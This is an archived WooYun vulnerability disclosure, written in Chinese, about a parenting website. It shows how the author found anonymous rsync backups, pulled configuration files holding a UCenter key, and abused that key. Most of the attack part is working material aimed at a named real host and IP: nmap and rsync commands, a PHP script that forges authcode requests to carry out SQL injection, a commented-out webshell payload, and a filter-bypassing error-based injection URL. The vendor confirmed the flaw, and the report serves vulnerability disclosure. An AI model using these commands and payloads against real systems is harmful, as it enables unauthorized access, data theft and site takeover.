当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-028654

漏洞标题:父母网rsync信息泄露源代码导致安全问题

相关厂商:父母网

漏洞作者: 五道口杀气

提交时间:2013-11-13 17:30

修复时间:2013-12-28 17:30

公开时间:2013-12-28 17:30

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-13: 细节已通知厂商并且等待厂商处理中
2013-11-13: 厂商已经确认,细节仅向厂商公开
2013-11-23: 细节向核心白帽子及相关领域专家公开
2013-12-03: 细节向普通白帽子公开
2013-12-13: 细节向实习白帽子公开
2013-12-28: 细节向公众公开

简要描述:

在drops上看到rsync的这个文章http://drops.wooyun.org/papers/161,再看wooyun上的漏洞好像很多大网站都没有注意其他网站呢?
随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。

详细说明:

www.fumu.com
ip 210.14.136.87
按照文章给出的教程利用命令扫C段的rsync试下

nmap -n --open -p 873 210.14.136.1-255


f1.jpeg


当我连接到93服务器时惊喜来了:

rsync 210.14.136.93::


f2.jpeg


主站就是用的phpcms,这里的phpcms模块应该就是备份的主站代码。
而bak目录貌似下备份了所有代码
查看一下:

rsync 210.14.136.93::bak


存在很多目录

f3.jpeg


找到bbs下的UC_KEY

rsync 210.14.136.93::bak/newbbs/config/


存在uc,找到data目录下的config.inc.php
同步下来看看内容:

rsync -vzrtopg --progress 210.14.136.93::bak/uc/data/config.inc.php /Users/test/fumubak 
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/config/config_ucenter.php /Users/test/fumubak/


打开本地fumubak目录里的config_ucenter.php文件,找到UC_KEY。
拿到UC_KEY可以干嘛,可以做好多,参见之前牛奶坦克发的漏洞 WooYun: 齐博cms整站系统(原PHP168)配置不当导致任意用户登陆
利用UC_KEY里面的函数都可以直接调用了,看下uc.php里的函数:

rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/api/uc.php /Users/test/fumubak/db


看到updateapps写文件,这是要写shell的漏洞啊,测了半天忽略了var_export函数,转义了单引号,无法截断。。。。。。

f4.jpeg


同时也有有synlogin可以设置cookie,已管理员的身份登录,但是dz进入后台需要再输入一遍密码无法进到后台。
最后发现deleteuser那里有个sql注入,同样利用http://drops.wooyun.org/tips/125思路。
把牛奶坦克那个脚本改一下做个代理方便注入:

<?php
error_reporting(0);
$host = "bbs.fumu.com";
//$doing = $argv[2];
$time = time()+10*3600;
$getshell = 0;
// if ($doing == 'login') {
// // synlogin ,不过只登陆第一个admin帐户,如果uid1不是管理员,需要自己手工找下
// $code = 'time='.$time.'&uid=1&username=administrator&action=synlogin';
// } elseif ($doing == 'shell' ) {
// $code = 'time='.$time.'&action=updateapps';
// } elseif ($doing == 'temp' ) {
// $code = 'time='.$time.'&ids=203881) and 1=1&action=deleteuser';
// } else {
// $doing = 'test';
// $code = 'time='.$time.'&action='.$doing;
// }
$sqlin = $_GET['id'];
$sqlin=str_replace(" ","%20",$sqlin);
$sqlin=str_replace("=","%3D",$sqlin);
$code = 'time='.$time."&ids=$sqlin&action=deleteuser";
$uc_key = array(
//'null' => '',
'bbs' => '59XXXXXXXXXXXXXXXX9Ib',
//'www'=>'cf5XXXXXXXXXXXXXXXXXXXqaY2y'
);
foreach ($uc_key as $key => $value) {
$exp = 'api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value));
//echo "http://$host/$exp";
$result = file_get_contents("http://$host/$exp");
print_r($result);
//$status = get_headers("http://$host/$exp");

//if( $result !== 'Authracation has expiried' & strpos($status[0] , '200' ) > 0 ){
//echo $result;
//echo "[+] UC_KEY '$key' can use .\r\n";
//echo "[*] EXP = $exp \r\n";
/*
if ( $getshell == 1 ) { //Get shell
echo "[+]Getshell...\r\n";
$cmd = array(
'one' =>
'<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="appid">123\');phpinfo();//</item>
</root>'
);
foreach ($cmd as $key => $value) {
$res = send($host,$exp,$value);
}
$getshell = 0;
}
print("[+]Try to
http://$host/member/api/client/data/cache/apps.php
or
http://$host/uc_client/data/cache/apps.php\r\n");
*/
//} else {
//echo "[+] UC_KEY '$key' ". $result."\r\n";
//}
}
function send($host,$code,$cmd){
$message = "POST /".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}


从脚本中的注释也看一看出测试过程多蛋疼。。。
以为顺利注入就可以了,在/source/class/class_core.php中还有放注入函数……

f5.jpeg


绕过方式:
http://127.0.0.1/ucbbs.php?id=1)%20and%20(/*!select*/%201%20FROM%20(/*!select*/%20count(*),concat(floor(rand(0)*2),(/*!select*/%20version()))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20(1)=(1

f6.jpeg


还有别的事情,不搞了,不过发现rsync里面都有shell了,,,只不过没找到位置,还有uc.fumu.com都被挂马了。
你要不要参加个乌云众测保障下安全啊?

漏洞证明:

修复方案:

参考:http://drops.wooyun.org/papers/161

版权声明:转载请注明来源 五道口杀气@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-11-13 17:35

厂商回复:

网站部署欠缺经验,目前正在修复,并自查。感谢 @五道口杀气

最新状态:

暂无